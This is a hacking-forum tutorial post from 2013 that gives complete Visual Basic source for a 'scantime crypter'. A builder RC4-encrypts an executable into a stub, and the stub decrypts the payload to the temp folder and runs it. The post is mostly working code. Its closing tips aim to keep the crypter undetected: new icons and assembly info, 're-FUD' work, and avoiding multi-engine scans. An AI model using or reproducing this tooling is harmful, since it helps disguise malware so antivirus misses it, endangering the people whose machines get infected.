Make your ScanTime Crypter with RC4 Encryption | Source Included |

Legolas · 12-06-2013, 01:23 PM

Make a ScanTime Crypter using RC4 in Visual Basic 2008.

What we need?

-Visual Basic 2008
-TextBox
-Button x2

Making the builder

1. Change the text of Button1 to Browse.
Change the text of Button2 to Crypt.

2. Put this over form1.

Code:
Imports System.Text

3.Put this under public class form1.

Code:
Const filesplit = "@LegolasTUT@"

Change "LegolasTUT" to what ever you want.

4.Double click your Button1 (Browse) and put this code there.

Code:
Dim openf As New OpenFileDialog

        If openf.ShowDialog = Windows.Forms.DialogResult.OK Then

            TextBox1.Text = openf.FileName

        Else : Exit Sub

        End If

5.Double click Button2 (Crypt) and put this code in.

Code:
Dim filein, filename, stub As String

        Dim lol As New SaveFileDialog

        If lol.ShowDialog = Windows.Forms.DialogResult.OK Then

            filename = lol.FileName

        Else : Exit Sub

        End If

        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

        filein = Space(LOF(1))

        FileGet(1, filein)

        FileClose(1)

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

        stub = Space(LOF(1))

        FileGet(1, stub)

        FileClose(1)

        FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        FilePut(1, stub & filesplit & rc4(filein, "LegolasWins"))

        FileClose(1)

        MsgBox("File Crypted")

6.Put this anywhere but not in the sub.

Code:
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String

        Dim i As Integer = 0

        Dim j As Integer = 0

        Dim cipher As New StringBuilder

        Dim returnCipher As String = String.Empty

        Dim sbox As Integer() = New Integer(256) {}

        Dim key As Integer() = New Integer(256) {}

        Dim intLength As Integer = password.Length

        Dim a As Integer = 0

        While a <= 255

            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))

            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)

            sbox(a) = a

            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)

        End While

        Dim x As Integer = 0

        Dim b As Integer = 0

        While b <= 255

            x = (x + sbox(b) + key(b)) Mod 256

            Dim tempSwap As Integer = sbox(b)

            sbox(b) = sbox(x)

            sbox(x) = tempSwap

            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)

        End While

        a = 1

        While a <= message.Length

            Dim itmp As Integer = 0

            i = (i + 1) Mod 256

            j = (j + sbox(i)) Mod 256

            itmp = sbox(i)

            sbox(i) = sbox(j)

            sbox(j) = itmp

            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)

            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)

            itmp = Asc(ctmp)

            Dim cipherby As Integer = itmp Xor k

            cipher.Append(Chr(cipherby))

            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)

        End While

        returnCipher = cipher.ToString

        cipher.Length = 0

        Return returnCipher

    End Function

That is the RC4 Encryption.
If the builder has no errors build it and make a new project for your stub.

Making The Stub

1.Put this over Form1.

Code:
Imports System.Text

2.Put this under Public class form1.

Code:
Const filesplit = "@LegolasTUT@"

If you changed what you wrote between "@_______@" put what you wrote there..

3.Inset into Private Sub Form1_Load.

Code:
On Error Resume Next

        Dim TPath As String = System.IO.Path.GetTempPath

        Dim file1, filezb4(), filezafter As String

        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

        file1 = Space(LOF(1))

        FileGet(1, file1)

        FileClose(1)

        filezb4 = Split(file1, filesplit)

        filezafter = rc4(filezb4(1), "LegolasWins")

        FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        FilePut(5, filezafter)

        FileClose(5)

        System.Diagnostics.Process.Start(TPath & "\Crypted.exe")

        Me.Close()

        End

Code:
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String

        Dim i As Integer = 0

        Dim j As Integer = 0

        Dim cipher As New StringBuilder

        Dim returnCipher As String = String.Empty

        Dim sbox As Integer() = New Integer(256) {}

        Dim key As Integer() = New Integer(256) {}

        Dim intLength As Integer = password.Length

        Dim a As Integer = 0

        While a <= 255

            Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))

            key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)

            sbox(a) = a

            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)

        End While

        Dim x As Integer = 0

        Dim b As Integer = 0

        While b <= 255

            x = (x + sbox(b) + key(b)) Mod 256

            Dim tempSwap As Integer = sbox(b)

            sbox(b) = sbox(x)

            sbox(x) = tempSwap

            System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)

        End While

        a = 1

        While a <= message.Length

            Dim itmp As Integer = 0

            i = (i + 1) Mod 256

            j = (j + sbox(i)) Mod 256

            itmp = sbox(i)

            sbox(i) = sbox(j)

            sbox(j) = itmp

            Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)

            Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)

            itmp = Asc(ctmp)

            Dim cipherby As Integer = itmp Xor k

            cipher.Append(Chr(cipherby))

            System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)

        End While

        returnCipher = cipher.ToString

        cipher.Length = 0

        Return returnCipher

    End Function

Additional step - Change the assembly information and add a good icon too make it more undetected!
Put the stub and the crypter in the SAME folder.
This crypter might not be Fud because i Made this before 5years+.
Detection Does NOT mean that its virus.So just try to Refud it,and you will be ok.

You MUST NOT scan this crypter here because the crypter will be more detected:

Spoiler:

Enjoy Legolas:Thumbs-Up:

Credits:
Legolas and Matin

Legolas · 12-06-2013, 01:23 PM